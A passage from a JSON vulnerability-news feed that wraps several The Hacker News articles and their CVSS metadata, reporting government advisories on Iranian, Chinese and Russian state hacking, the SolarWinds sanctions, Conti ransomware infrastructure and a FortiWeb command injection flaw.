CVE-2020-12812, and CVE-2019-5591 to compromise systems belonging to government and commercial entities.\n\nAs mitigations, the agencies are recommending organizations to immediately patch software affected by the aforementioned vulnerabilities, enforce data backup and restoration procedures, implement network segmentation, secure accounts with multi-factor authentication, and patch operating systems, software, and firmware as and when updates are released.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-17T15:44:00", "type": "thn", "title": "U.S., U.K. and Australia Warn of Iranian Hackers Exploiting Microsoft, Fortinet Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-34473"], "modified": "2021-11-22T07:14:13", "id": "THN:C3B82BB0558CF33CFDC326E596AF69C4", "href": "https://thehackernews.com/2021/11/us-uk-and-australia-warn-of-iranian.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:40:09", "description": "[](<https://thehackernews.com/images/-S81ZTpL3VW0/X2CFi_g7l0I/AAAAAAAAAww/bXeyXz56F-0V-P2VhHdoO5qJllbhNqfswCLcBGAsYHQ/s728-e100/hacking.jpg>)\n\nThe US Cybersecurity and Infrastructure Security Agency (CISA) issued a [new advisory](<https://us-cert.cisa.gov/ncas/alerts/aa20-258a>) on Monday about a wave of cyberattacks carried by Chinese nation-state actors targeting US government agencies and private entities. \n \n\"CISA has observed Chinese [Ministry of State Security]-affiliated cyber threat actors operating from the People's Republic of China using commercially available information sources and open-source exploitation tools to target US Government agency networks,\" the cybersecurity agency said. \n \nOver the past 12 months, the victims were identified through sources such as [Shodan](<https://www.shodan.io/>), the Common Vulnerabilities and Exposure ([CVE](<https://cve.mitre.org/>)) database, and the National Vulnerabilities Database (NVD), exploiting the public release of a vulnerability to pick vulnerable targets and further their motives. \n \nBy compromising legitimate websites and leveraging spear-phishing emails with malicious links pointing to attacker-owned sites in order to gain initial access, the Chinese threat actors have deployed open-source tools such as [Cobalt Strike](<https://www.cobaltstrike.com/>), [China Chopper Web Shell](<https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html>), and [Mimikatz](<https://github.com/gentilkiwi/mimikatz>) credential stealer to extract sensitive information from infected systems. \n \nThat's not all. Taking advantage of the fact that organizations aren't quickly mitigating known software vulnerabilities, the state-sponsored attackers are \"targeting, scanning, and probing\" US government networks for unpatched flaws in F5 Networks Big-IP Traffic Management User Interface ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)), Citrix VPN ([CVE-2019-19781](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>)), Pulse Secure VPN ([CVE-2019-11510](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>)), and Microsoft Exchange Servers ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) to compromise targets. \n \n\"Cyber threat actors also continue to identify large repositories of credentials that are available on the internet to enable brute-force attacks,\" the agency said. \"While this sort of activity is not a direct result of the exploitation of emergent vulnerabilities, it demonstrates that cyber threat actors can effectively use available open-source information to accomplish their goals.\" \n \nThis is not the first time Chinese actors have worked on behalf of China's MSS to infiltrate various industries across the US and other countries. \n \nIn July, the US Department of Justice (DoJ) [charged two Chinese nationals](<https://thehackernews.com/2020/07/chinese-hackers-covid19.html>) for their alleged involvement in a decade-long hacking spree spanning high tech manufacturing, industrial engineering, defense, educational, gaming software, and pharmaceutical sectors with an aim to steal trade secrets and confidential business information. \n \nBut it's not just China. Earlier this year, Israeli security firm ClearSky uncovered a cyberespionage campaign dubbed \"[Fox Kitten](<https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html>)\" that targeted government, aviation, oil and gas, and security companies by exploiting unpatched VPN vulnerabilities to penetrate and steal information from target companies, prompting CISA to issue [multiple security alerts](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>) urging businesses to secure their VPN environments. \n \nStating that sophisticated cyber threat actors will continue to use open-source resources and tools to single out networks with low-security posture, CISA has recommended organizations to patch [routinely exploited vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>), and \"audit their configuration and patch management programs to ensure they can track and mitigate emerging threats.\"\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-15T09:14:00", "type": "thn", "title": "CISA: Chinese Hackers Exploiting Unpatched Devices to Target U.S. Agencies", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5902"], "modified": "2020-09-15T09:14:30", "id": "THN:0E6CD47141AAF54903BD6C1F9BD96F44", "href": "https://thehackernews.com/2020/09/chinese-hackers-agencies.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:18", "description": "[](<https://thehackernews.com/images/-aP3rCXOUpiQ/YIfVcfAWodI/AAAAAAAACX8/f_RfGI2QOewvk7Zu4AaGOKQyirlBpfKfACLcBGAsYHQ/s0/russian-hackers.jpg>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA), Department of Homeland Security (DHS), and the Federal Bureau of Investigation (FBI) on Monday published a new joint advisory as part of their latest attempts to expose the tactics, techniques, and procedures (TTPs) adopted by the Russian Foreign Intelligence Service (SVR) in its attacks targeting the U.S and foreign entities.\n\nBy employing \"stealthy intrusion tradecraft within compromised networks,\" the intelligence agencies [said](<https://us-cert.cisa.gov/ncas/current-activity/2021/04/26/fbi-dhs-cisa-joint-advisory-russian-foreign-intelligence-service>), \"the SVR activity\u2014which includes the recent [SolarWinds Orion supply chain compromise](<https://thehackernews.com/2021/04/researchers-find-additional.html>)\u2014primarily targets government networks, think tank and policy analysis organizations, and information technology companies and seeks to gather intelligence information.\"\n\nThe cyber actor is also being tracked under different monikers, including Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium. The development comes as the U.S. sanctioned Russia and [formally pinned](<https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html>) the SolarWinds hack and related cyberespionage campaign to government operatives working for SVR.\n\n[APT29](<https://malpedia.caad.fkie.fraunhofer.de/actor/apt_29>), since emerging on the threat landscape in 2013, has been tied to a number of attacks orchestrated with an aim to gain access to victim networks, move within victim environments undetected, and extract sensitive information. But in a noticeable shift in tactics in 2018, the actor moved from deploying malware on target networks to striking cloud-based email services, a fact borne by the SolarWinds attack, wherein the actor leveraged Orion binaries as an intrusion vector to exploit Microsoft Office 365 environments.\n\nThis similarity in post-infection tradecraft with other SVR-sponsored attacks, including in the manner the adversary laterally moved through the networks to obtain access to email accounts, is said to have played a huge role in attributing the SolarWinds campaign to the Russian intelligence service, despite a notable departure in the method used to gain an initial foothold.\n\n\"Targeting cloud resources probably reduces the likelihood of detection by using compromised accounts or system misconfigurations to blend in with normal or unmonitored traffic in an environment not well defended, monitored, or understood by victim organizations,\" the agency noted.\n\nAmong some of the other tactics put to use by APT29 are password spraying (observed during a 2018 compromise of a large unnamed network), exploiting zero-day flaws against virtual private network appliances (such as [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)) to obtain network access, and deploying a Golang malware called [WELLMESS](<https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html>) to plunder [intellectual property](<https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html>) from multiple organizations involved in COVID-19 vaccine development.\n\nBesides CVE-2019-19781, the threat actor is known to gain initial footholds into victim devices and networks by leveraging [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>), [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), and [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>). Also in the mix is the practice of obtaining virtual private servers via false identities and cryptocurrencies, and relying on temporary VoIP telephone numbers and email accounts by making use of an anonymous email service called cock.li.\n\n\"The FBI and DHS recommend service providers strengthen their user validation and verification systems to prohibit misuse of their services,\" the advisory read, while also urging businesses to secure their networks from a compromise of trusted software.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-04-27T09:14:00", "type": "thn", "title": "FBI, CISA Uncover Tactics Employed by Russian Intelligence Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-04-28T06:42:30", "id": "THN:91A2A296EF8B6FD5CD8B904690E810E8", "href": "https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:05", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEguJG5dD1Vh67fJlg0O-HXucpsF2Y-eVW6kua8F3Er_7OwG5WZpZAqvZHKbXJboPvuTyfrTXpc260OZ87-4ehJm-_qY8JOnLJxhWok-es74ZTW3O7ua3WuueglfYtH7632jDmh5DfPftDD998FED2xruJFMtTPwe_eI7umOKXrdazu4WRTC-OnHg7ND>)\n\nThe clearnet and dark web payment portals operated by the [Conti](<https://thehackernews.com/2021/05/fbi-warns-conti-ransomware-hit-16-us.html>) ransomware group have gone down in what appears to be an attempt to shift to new infrastructure after details about the gang's inner workings and its members were made public.\n\nAccording to [MalwareHunterTeam](<https://twitter.com/malwrhunterteam/status/1461450607311605766>), \"while both the clearweb and Tor domains of the leak site of the Conti ransomware gang is online and working, both their clearweb and Tor domains for the payment site (which is obviously more important than the leak) is down.\"\n\nIt's not clear what prompted the shutdown, but the development comes as Swiss cybersecurity firm PRODAFT [offered](<https://www.prodaft.com/resource/detail/conti-ransomware-group-depth-analysis>) an unprecedented look into the group's ransomware-as-a-service (RaaS) model, wherein the developers sell or lease their ransomware technology to affiliates hired from darknet forums, who then carry out attacks on their behalf while also netting about 70% of each ransom payment extorted from the victims.\n\nThe result? Three members of the Conti team have been identified so far, each playing the roles of admin (\"Tokyo\"), assistant (\"it_work_support@xmpp[.]jp\"), and recruiter (\"IT_Work\") to attract new affiliates into their network.\n\nWhile ransomware attacks work by encrypting the victims' sensitive information and rendering it inaccessible, threat actors have increasingly latched on to a two-pronged strategy called double extortion to demand a ransom payment for decrypting the data and threaten to publicly publish the stolen information if the payment is not received within a specific deadline.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgOlxdMar0Fk9C_1oq4rsZqCsRuaWDFa_UwPznj1p4XnxV22g7c-3gidrF7ZVnxd0TVDTn8qhzr16V265fVSa3d-p7SOODkUMikIREYKzV6MyCaPI1KWzNgYj3TduhqzgszRUX6zZkCytED5c4K-icaEZjwN4cvwnz1D0zehnwVGdYAwJXLo8uaJijX>)\n\n\"Conti customers \u2013 affiliate threat actors \u2013 use [a digital] management panel to create new ransomware samples, manage their victims, and collect data on their attacks,\" noted the researchers, detailing the syndicate's attack kill chain leveraging PrintNightmare ([CVE-2021-1675](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>), [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>), and [CVE-2021-36958](<https://thehackernews.com/2021/08/microsoft-security-bulletin-warns-of.html>)) and FortiGate ([CVE-2018-13374](<https://nvd.nist.gov/vuln/detail/CVE-2018-13374>) and [CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>)) vulnerabilities to compromise unpatched systems.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEh5pQ7nISIe-f2lC7T7iJVkfmQ4L9uCXsO1rxdPo0YzkwJ4-Q15UkgDuRGhckTpdbAYrR1h3kYePBPrRNFWefg6MtaX_jlMsgcojwvu-zrrtvaw0hKxGJkD-dTl06UiZOX1R5kuboLkxyuot8hDBrgxX1fH8yoVdsv0e1f0rvziG6_Mw-IWMJUBBgQg>)\n\nEmerging on the cybercrime landscape in October 2019, Conti is believed to be the work of a Russia-based threat group called [Wizard Spider](<https://malpedia.caad.fkie.fraunhofer.de/actor/wizard_spider>), which is also the operator of the infamous [TrickBot](<https://thehackernews.com/2021/11/trickbot-operators-partner-with-shatak.html>) banking malware. Since then, at least 567 different companies have had their business-critical data exposed on the victim shaming site, with the ransomware cartel receiving over 500 bitcoin ($25.5 million) in payments since July 2021.\n\nWhat's more, an analysis of ransomware samples and the bitcoin wallet addresses utilized for receiving the payments has revealed a connection between Conti and Ryuk, with both families heavily banking on TrickBot, Emotet, and BazarLoader for actually [delivering the file-encrypting payloads](<https://thehackernews.com/2021/06/ransomware-attackers-partnering-with.html>) onto victim's networks via email phishing and other social engineering schemes.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgySne4_su9eRCap6MABBaa8kbBo2rWbr8gzBUOmkmLhbonXU-etPl5K4VuXHkduN2lH7fMHbQ7q8Wq0HsqBnUz9P3JWJBqtztJQAEPOJWnoAVuecd8Zyblq-TOPPfmILc40tmzfs9VX0h_utrR3fydA8JQm8EO0PO7BIKlRaSIBA8_I717s_bvckQ5>)\n\nPRODAFT said it was also able to gain access to the group's recovery service and an admin management panel hosted as a Tor hidden service on an Onion domain, revealing extensive details of a clearnet website called \"contirecovery[.]ws\" that contains instructions for purchasing decryption keys from the affiliates. Interestingly, an investigation into Conti's ransomware negotiation process [published](<https://team-cymru.com/blog/2021/10/05/collaborative-research-on-the-conti-ransomware-group/>) by Team Cymru last month highlighted a similar open web URL named \"contirecovery[.]info.\"\n\n\"In order to tackle the complex challenge of disrupting cybercriminal organizations, public and private forces need to work collaboratively with one another to better understand and mitigate the wider legal and commercial impact of the threat,\" the researchers said.\n\n**_Update:_** The Conti ransomware's payment [portals](<https://twitter.com/VK_Intel/status/1461810216241086467>) are back up and running, more than 24 hours after they were first taken down in response to a report that identified the real IP address of one of its recovery (aka payment) servers \u2014 217.12.204[.]135 \u2014 thereby effectively bolstering its security measures.\n\n\"Looks like Europeans have also decided to abandon their manners and go full-gansta simply trying to break our systems,\"the gang said in a statement posted on their blog, effectively confirming PRODAFT's findings, but characterizing the details as \"simply disinformation,\" and that \"the reported 25kk which we 'made since July' is straight-up BS - we've made around 300kk at least.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-19T06:50:00", "type": "thn", "title": "Experts Expose Secrets of Conti Ransomware Group That Made 25 Million from Victims", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13374", "CVE-2018-13379", "CVE-2021-1675", "CVE-2021-34527", "CVE-2021-36958"], "modified": "2021-11-20T15:13:21", "id": "THN:F35E41E26872B23A7F620C6D8F7E2334", "href": "https://thehackernews.com/2021/11/experts-expose-secrets-of-conti.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:20", "description": "[](<https://thehackernews.com/images/-LTN8ZEVASAQ/YHhnaI6y7gI/AAAAAAAACSI/-4R4GM5jnigOmkENHKFJXtyjjp1f6w4QQCLcBGAsYHQ/s0/us-sanctions-russia-solarwinds-hack.jpg>)\n\nThe U.S. and U.K. on Thursday formally attributed the supply chain attack of IT infrastructure management company SolarWinds with \"high confidence\" to government operatives working for Russia's Foreign Intelligence Service (SVR).\n\n\"Russia's pattern of malign behaviour around the world \u2013 whether in cyberspace, in election interference or in the aggressive operations of their intelligence services \u2013 demonstrates that Russia remains the most acute threat to the U.K.'s national and collective security,\" the U.K. government [said](<https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services>) in a statement.\n\nTo that effect, the U.S. Department of the Treasury has imposed sweeping sanctions against Russia for \"undermining the conduct of free and fair elections and democratic institutions\" in the U.S. and for its role in facilitating the sprawling SolarWinds hack, while also barring six technology companies in the country that provide support to the cyber program run by Russian Intelligence Services.\n\n[](<https://thehackernews.com/images/-3aKGKEh2OCw/YHhnxG35qkI/AAAAAAAACSQ/DNi8MHTziNkZeNqP2Y6g9DXrwuwcIBooQCLcBGAsYHQ/s0/russian-hacker.jpg>)\n\nThe companies include ERA Technopolis, Pasit, Federal State Autonomous Scientific Establishment Scientific Research Institute Specialized Security Computing Devices and Automation (SVA), Neobit, Advanced System Technology, and Pozitiv Teknolodzhiz (Positive Technologies), the last three of which are IT security firms whose customers are said to include the Russian Ministry of Defense, SVR, and Russia's Federal Security Service (FSB).\n\n\"As a company, we deny the groundless accusations made by the U.S. Department of the Treasury,\" Positive Technologies [said](<https://www.ptsecurity.com/ww-en/about/news/positive-technologies-official-statement-following-u-s-sanctions/>) in a statement. \"In the almost 20 years we have been operating there has been no evidence of the results of Positive Technologies\u2019 research being used in violation of the principles of business transparency and the ethical exchange of information with the professional information security community.\"\n\nIn addition, the Biden administration is also [expelling ten members](<https://home.treasury.gov/policy-issues/financial-sanctions/recent-actions/20210415>) of Russia's diplomatic mission in Washington, D.C., including representatives of its intelligence services.\n\n\"The scope and scale of this compromise combined with Russia's history of carrying out reckless and disruptive cyber operations makes it a national security concern,\" the Treasury Department [said](<https://home.treasury.gov/news/press-releases/jy0127>). \"The SVR has put at risk the global technology supply chain by allowing malware to be installed on the machines of tens of thousands of SolarWinds' customers.\"\n\nFor its part, Moscow had previously [denied involvement](<https://thehackernews.com/2021/01/fbi-cisa-nsa-officially-blames-russia.html>) in the broad-scope SolarWinds campaign, stating \"it does not conduct offensive operations in the cyber domain.\"\n\nThe [intrusions](<https://thehackernews.com/2021/03/researchers-find-3-new-malware-strains.html>) came to light in December 2020 when FireEye and other cybersecurity firms revealed that the operators behind the espionage campaign managed to compromise the software build and code signing infrastructure of SolarWinds Orion platform as early as October 2019 to deliver the Sunburst backdoor with the goal of gathering sensitive information.\n\nUp to 18,000 SolarWinds customers are believed to have received the trojanized Orion update, although the attackers carefully selected their targets, opting to escalate the attacks only in a handful of cases by deploying Teardrop malware based on an initial reconnaissance of the target environment for high-value accounts and assets.\n\n[](<https://thehackernews.com/images/-K6oDMn9wijo/YHhoAIB7XMI/AAAAAAAACSU/SnX4nr33cRUwtWpMv58gmUlwM1J3GLbGwCLcBGAsYHQ/s0/hack.jpg>)\n\nThe adversary's compromise of the SolarWinds software supply chain is said to have given it the ability to remotely spy or potentially disrupt more than 16,000 computer systems worldwide, according to the [executive order](<https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/>) issued by the U.S. government.\n\nBesides infiltrating the networks of [Microsoft](<https://thehackernews.com/2020/12/microsoft-says-its-systems-were-also.html>), [FireEye](<https://thehackernews.com/2020/12/us-agencies-and-fireeye-were-hacked.html>), [Malwarebytes](<https://thehackernews.com/2021/01/solarwinds-hackers-also-breached.html>), and [Mimecast](<https://thehackernews.com/2021/03/mimecast-finds-solarwinds-hackers-stole.html>), the attackers are also said to have used SolarWinds as a stepping stone to breaching several U.S. agencies such as the National Aeronautics and Space Administration (NASA), the Federal Aviation Administration (FAA), and the Departments of State, Justice, Commerce, Homeland Security, Energy, Treasury, and the National Institutes of Health.\n\nThe SVR actor is also known by other names such as APT29, Cozy Bear, and The Dukes, with the threat group being tracked under different monikers, including UNC2452 (FireEye), SolarStorm (Palo Alto Unit 42), StellarParticle (CrowdStrike), Dark Halo (Volexity), and Nobelium (Microsoft).\n\n[](<https://thehackernews.com/images/-JJfhuyyCe1A/YHhoT2JBRoI/AAAAAAAACSg/KKZjhhWheAYDqRlyZsylSiqZ6TohQDq4ACLcBGAsYHQ/s0/cyberattack.jpg>)\n\nFurthermore, the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have jointly released an [advisory](<https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2573391/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabili/>), warning businesses of active exploitation of five publicly known vulnerabilities by APT29 to gain initial footholds into victim devices and networks \u2014 \n\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) \\- Fortinet FortiGate VPN\n * [**CVE-2019-9670**](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) \\- Synacor Zimbra Collaboration Suite\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) \\- Pulse Secure Pulse Connect Secure VPN\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) \\- Citrix Application Delivery Controller and Gateway \n * [**CVE-2020-4006**](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) \\- VMware Workspace ONE Access\n\nIn a statement shared with The Hacker News, Pulse Secure said the issue identified by the NSA concerns a flaw that was patched on [legacy deployments in April 2019](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>), and that \"customers who followed the instructions in a Pulse Secure security advisory issued at that time have properly protected their systems and mitigated the threat.\"\n\n\"We see what Russia is doing to undermine our democracies,\" said U.K. Foreign Secretary Dominic Raab. \"The U.K. and U.S. are calling out Russia's malicious behaviour, to enable our international partners and businesses at home to better defend and prepare themselves against this kind of action.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-04-15T16:55:00", "type": "thn", "title": "US Sanctions Russia and Expels 10 Diplomats Over SolarWinds Cyberattack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-06-04T10:27:04", "id": "THN:461B7AEC7D12A32B4ED085F0EA213502", "href": "https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:13", "description": "[](<https://thehackernews.com/images/-iRDFz4kb2_c/YRyAnCXcgbI/AAAAAAAADjw/9zUdSCDaZ3wAdT6A32p1ugpUnmn7m6WagCLcBGAsYHQ/s0/Fortinet-zero-day.jpg>)\n\nDetails have emerged about a new unpatched security vulnerability in Fortinet's web application firewall (WAF) appliances that could be abused by a remote, authenticated attacker to execute malicious commands on the system.\n\n\"An OS command injection vulnerability in FortiWeb's management interface (version 6.3.11 and prior) can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page,\" cybersecurity firm Rapid7 [said](<https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/>) in an advisory published Tuesday. \"This vulnerability appears to be related to [CVE-2021-22123](<https://nvd.nist.gov/vuln/detail/CVE-2021-22123>), which was addressed in [FG-IR-20-120](<https://www.fortiguard.com/psirt/FG-IR-20-120>).\"\n\nRapid7 said it discovered and reported the issue in June 2021. Fortinet is expected to release a patch at the end of August with version Fortiweb 6.4.1.\n\nThe command injection flaw is yet to be assigned a CVE identifier, but it has a severity rating of 8.7 on the CVSS scoring system. Successful exploitation of the vulnerability can allow authenticated attackers to execute arbitrary commands as the root user on the underlying system via the SAML server configuration page.\n\n\"An attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges,\" Rapid7's Tod Beardsley said. \"They might install a persistent shell, crypto mining software, or other malicious software. In the unlikely event the management interface is exposed to the internet, they could use the compromised platform to reach into the affected network beyond the DMZ.\"\n\nRapid7 also warns that while authentication is a prerequisite for achieving arbitrary command execution, the exploit could be chained with an authentication bypass flaw, such as [CVE-2020-29015](<https://nvd.nist.gov/vuln/detail/CVE-2020-29015>). In the interim, users are advised to block access to the FortiWeb device's management interface from untrusted networks, including taking steps to prevent direct exposure to the internet.\n\nAlthough there is no evidence that the new security issue has been exploited in the wild, it's worth noting that unpatched Fortinet servers have been a lucrative target for financially motivated and state-sponsored threat actors alike.\n\nEarlier this April, the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) [warned](<https://www.ic3.gov/Media/News/2021/210402.pdf>) of advanced persistent threat groups targeting Fortinet FortiOS servers by leveraging [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), 